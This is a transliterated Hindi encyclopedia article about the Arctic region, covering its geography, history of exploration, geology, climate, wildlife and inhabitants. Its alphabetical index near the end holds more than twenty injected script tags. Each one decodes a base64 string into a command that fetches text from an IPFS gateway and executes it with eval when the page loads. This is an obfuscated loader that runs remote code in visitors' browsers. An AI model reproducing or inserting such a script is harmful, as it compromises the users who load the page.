आर्कटिक प्रदेश

arkatik pradesh jal aur sthal us kshetr ko kahate haian jo uttari dhruv se charoan or lagabhag arkatik vritt (66° 30¢ u.a.) tak phaila hua hai. isake aantargat narave, svidan aur phinalaiand ke uttari bhag, roos ka tuandra pradesh, alaska ka uttari bhag, kanada ka tuandra pradesh aur arkatik sagar mean sthit anek dvip haian; jaise grinalaiand, svitzabargan, phhऱaianz jozephalaiand, nova zemliya, sevarna zemliya, nyoo saiberiyan dvip, uttari kanada ke dvip; jaise elsamear, baiphir ityadi.

itihas - jahaan tak jnat ho saka hai, narve ke logoan ne pahale pahal arkatik pradeshoan ke kuchh bhagoan par apana adhikar jamaya. unaki pauranik kathaoan mean vahaan ka varnan milata hai. sanh‌ 867 ee. mean narve ke narsaman logoan ne aisalaiand dvip ki khoj ki aur sanh‌ 874 ee. mean apane upanivesh vahaan sthapit kie jinamean aj bhi unaki santati basi huee hai. sanh‌ 982 ee. ke lagabhag erik di red namak ek narsamain ne grinalaiand dvip ki khoj ki aur vahaan bhi upanivashoan ki sthapana huee, parantu kuchh samay pashchath‌ pratikool bhaugolik paristhitiyoan ke phalasvaroop ve nasht ho ge. grinalaianu se aur pashchim chalakar narsamain uttari amarika tak pahuanch ge. sanbhavat: erik di red ke putr liph ne sanh‌ 1,000 ee. ke lagabhag uttari amarika ke kad aantarip aur laibrador ke bich sthit samudratat ke kuchh bhag ki yatra ki thi.

uttari pashchimi yoorop mean vanijy ki vriddhi hone par aangrej aur dach log sudoor poorv pahuanchane ke lie yooreshiya ya amarika mahadvip ke uttar se hokar ek ne marg ki khoj mean lag ge. in logoan ne sudoor poorv pahuanchane ke lie do vibhinn margoan ka anusaran kiya, arthath‌ uttar poorvi marg aur uttar pashchimi marg. uttar poorvi marg dvara sudoor poorvi pahuanchane ka prayas sanh‌ 1553 ee. mean saibistiyan kaibat ke protsahan se aranbh hua. sanh‌ 1597 ee. tak in anveshanoan dvara yooropiy roos ke arkatik samudratat aur samipasth dvipoan ka paryapt jnan prapt ho gaya tha. is uttar poorvi marg ka anusaran 17vian shatabdi mean bhi jari raha, parantu isase bhaugolik jnan mean koee vishesh vriddhi nahian huee. sanh‌ 1760 ee. se roosi navikoan ne bhi is marg ko apanaya aur sanpoorn roos ke arkatik pradesh aur samipasth dvipoan ke jnan ki vriddhi mean vishesh yog diya. aant mean sanh‌ 1932 ee. mean saiberiyakov namak ek roosi barph to danevale jalayan ne uttar poorvi marg ki yatra saphalatapoorvak sanpann ki. sanh‌ 1935 ee. se is marg par vyaparik jalayanoan ka chalana praranbh hua.

uttar pashchimi marg dvara grinalaiand aur uttari amarika mahadvip ke madhy se hokar sudoor poorv pahuanchane ka prayas sarvapratham 7 joon, 1576 ko martin phraubishan dvara praranbh hua aur aant mean ar. amansan ne pahali bar 1903-1905 mean apane jalayan gyoa se uttar pashchimi marg ki yatra saphalatapoorvak sanpann ki. in anveshanoan dvara grinalaiand dvip aur kanada ke arkatik pradeshoan ke jnan mean mahatvapoorn vriddhi huee.

idhar uttari dhruv pahuanchane ka prayas 19vian shatabdi ke aranbh se hi chal raha tha. is disha mean phratauph nainasan ka prayas vishesh ullekhaniy hai. inhoanne sanh‌ 1893 ee. mean apane jahaj phraim mean uttari dhruv ke lie prasthan kiya aur jahaj him ke bahav ke sahare uttar ki or badhata gaya. thos him se jahaj ki pragati rukane se pahale hi nainasan jahaj chho d apane sathi johanasen ke sath paidal badhane lage. ve 8 aprail, 1893 ko uttari dhruv se keval 3° 48¢ ki doori par rah ge the jab pratikool paristhitiyoan ne unhean lautane par badhy kar diya. is prakar jalayanoan dvara uttari dhruv pahuanchane ke prayasoan ka kram chalata raha aur aant mean 6 aprail, 1909 ko ar.ee. pairi ne uttari dhruv par vijay prapt kar li. vayuyan dvara uttari dhruv pahuanchane ka shrey sarvapratham ar.ee. bard ko mee, 1926 mean prapt hua aur panadubbi jahaj mean barph ke niche chalakar uttari dhruv pahuanchane ka shrey sarvapratham 'n aautilas' jahaj ko 3 agast, 1958 ko prapt hua.

bhootatv - arkatik pradeshoan mean vibhinn kalpoan ki chatritanean milati haian, jaise kanada ke arkatik pradesh aur grinalaiand mean prachinatam kalpiy shilaoan ki adhikata hai, jab ki keval yooreshiya ke arkatik pradesh mean hi purakalpiy tatha aur navin kal ki shilaean milati haian. is samay arkatik pradesh mean jvalamukhi kriya adhik mahatvapoorn nahian hai aur jagrat jvalamukhiyoan mean j aaun meyan dvip mean sthit birenabarg jvalamukhi parvat hi vishesh ullekhaniy hai. budabe aur spitzabargan dvipoan mean garam sote sthit haian. poorvakalin jvalamukhikriya ke chihn grinalaiand, spitjubargan, phhऱaianz jozephalaiand aur nyoo saiberiyan dvipoan ki tritiyak kalp mean arkatik pradesh mean kahian adhik ushn jalavayu ke spasht praman milate haian, parantu pratinootan him yug mean jalavayu adhik thandi ho gee thi aur sanbhavat: kanada ke arkatik dvipoan ko chho dakar adhikaansh arkatik pradesh himachchhadit the.

arkatik sagar - yah sthalakhando dvara ghira hai, parantu isake bich uttari dhruv ki sthiti keandravarti nahian hai. grinalaiand aur narvejiyan samudroan sahit isaka kshetraphal lagabhag 54,00,000 varg mil hai. arkatik sagar ki ek mahatvapoorn visheshata isaka vistrit mahadvipiy nidhay hai, jisapar saik doan dvip aur dvipasamooh, jisaka ullekh oopar ho chuka hai, sthit haian. vastav mean ye dvip poorvakal ke ek adhik vishal sthalakhand ke avashesh matr haian aur samanyat: samipasth mahadvipiy khandoan se bhaumikiy sanbandh pradarshit karate haian. anushikt dvara sanchalit 'n aautilas' panadubbi jahaj ke anveshanoan dvara (julaee agast, 1958 mean) yah jnat hua hai ki uttari dhrav par jal ki gaharaee 13,410 phut hai aur yahaan jal ke oopar himastaroan ki ausat motaee 12 phut hai.

jalavayu - arkatik pradesh vishv ke ati shit pradeshoan mean hai aur yahaan samudr se door sthit kshetroan mean -90° pha. tak ke nyoonatam tap aankit hone ke praman mile haian. grishmakal mean yahaan 80 pha. se bhi ooanche tap aankit hue haian. ye vishv ke atyodhik shushk pradesh hai, jisase inhean shit marusthal bhi kahate haian ausat varshik vrishti lagabhag 10 ianch hai jo mukhyat: him ke roop mean hoti hai. varsh ke adhikaansh samay thandhi dhruvi havaean ati tivr gati se chalati rahati haian.

prakritik sanpatti - yahaan ke khanij padartho ki khoj ki or abhi tak adhik dhyan akarshit nahian hua hai. mukhyat: patthar ka koyala, mitti ka tel loha aur taanba ityadi khanijoan ka hi kuchh matra mean utkhanan hua hai aur sona, chaandi, plaitinam aur tin ityadi ki keval upasthiti hi jnat huee haian. arkatik vanaspati mukhyat: pharn, laiken aur m aaus haian. inake alava grishmakal mean chhote chhote rang birange phooloanvale paudhe aur chhoti chhoti ber ki jh diyaan ug ati haian. ye pradesh lagabhag vrikshahin haian, keval dakshini bhagoan mean nadiyoan ke kinare chhote kad ke barch ityadi tatha konadhari vriksh ugate haian. kuchh bhagoan mean anaj aur shak utpadan ki sabhaanvanaean haian aur is hetu vishesh roop so prayatn kie ja rahe haian. arkatik pradeshoan mean vividh prakar ke jiv jantu pae jat haian, jaise kastoorivrish (mask aauks), lom di, kairiboo, bhodiya, lemiang, kharagosh, dhraviy bhaloo ityadi. roeandar pashuoan mean bivar, aautar, lianks tatha sebul mukhy haian. palatu janavaroan mean yooreshiya ke arkatik pradesh mean paya janevala pashu renadir hai. yahaan ke jal kshetroan mean mukhyatan: sil, hel aur valaras pae jate haian.

manushy tatha vyavasay - arkatik pradeshoan ke nivasiyoan ka mukhy udyog shikar karana tatha machhali pak dana hai. krishi ke abhav mean inaki bhojan, vastr, ashray, yatayat ityadi ki avashyakatoan ki poorti pashuoan dvara hoti hai. sanpoorn yooreshiya ke arkatik pradesh ke lie renadiyar bahut b di den hai, jisake dvara bhojan ke lie maans aur doodh, vastr aur tanbuoan ke lie khal, astrashastroan ke lie haddi aur siang tatha jalane aur prakash ke lie charabi milati hai. yahaan yatayat ka mukhy sadhan binapahievali slej ga di hai jise renadiyar khianchate haian. yooreshiya ke arkatik pradesh ke nivasiyoan ki laips, phins, asteks, yooriyats, saimoyad tatha yakoot kahate haian. ye sab asthiravasi (khanabadosh) haian jo bhojan ki khoj mean idhar udhar ghoomate haian. ye adhikatar cham de ke tanbuoan mean nivas karate haian jinhean choom kahate haian.

uttari amarika ke arkatik pradeshoan aur grinalaiand mean eskimo jati ke log nivas kahate haian. yahaan ke prakritik sadhan yooreshiya ke arkatik pradesh se milate julate haian isalie rahan sahan ki dashaoan mean bhi samanata paee jati hai. parantu yahaan ka mukhy janavar palatoo renadiyar n hokar jangali kairiboo hai. ab kuchh sthanoan mean renadiyar pala jane laga hai jo yooreshiya se laya gaya hai. yahaan ke nivasi mukhyat: samudratatoan par rahate haian tatha sil, hel aur valaras ka shikar karake maans, tel, haddi, khal ityadi prapt karate haian. shitakal mean barph ke aandar chhed karake harapoon (bhale) se machhali pak date haian. aur barph ke gharoan mean, jinhean igloo kahate haian, nivas karate haian. grishmakal mean rahane ke lie tanbuoan aur latthoan ki jhop diyoan ka prayog karate haian. ye yatayat ke lie navoan ka upayog karate haian. chhoti nav kayak aur b di nav umiyak kahalati hai. shaktishali kuttoan dvara janevali slej ga di ka bhi upayog hota hai.

is prakar arkatik pradeshoan ke nivasiyoan ka jivan prakriti se nirantar sangharsh mean vyatit hota hai. asha hai, bhavishy mean yahaan upasthit patthar ka koyala, mitti ka tel any khanij padartho ke badhate hue utpadan ke sath sath ye pradesh bhi arthik drishti se adhik mahatvapoorn ho jaeange aur isake sath hi jahaan ke nivasiyoan ka jivanastar bhi ooancha uth sakega. uttari dhrav se hokar vayuyanasanchalan ka mahatv badh jane se bhi in pradeshoan ki arthik unnati ki or adhik dhyan diya jane laga hai.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 426 |

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 426 |

[1]

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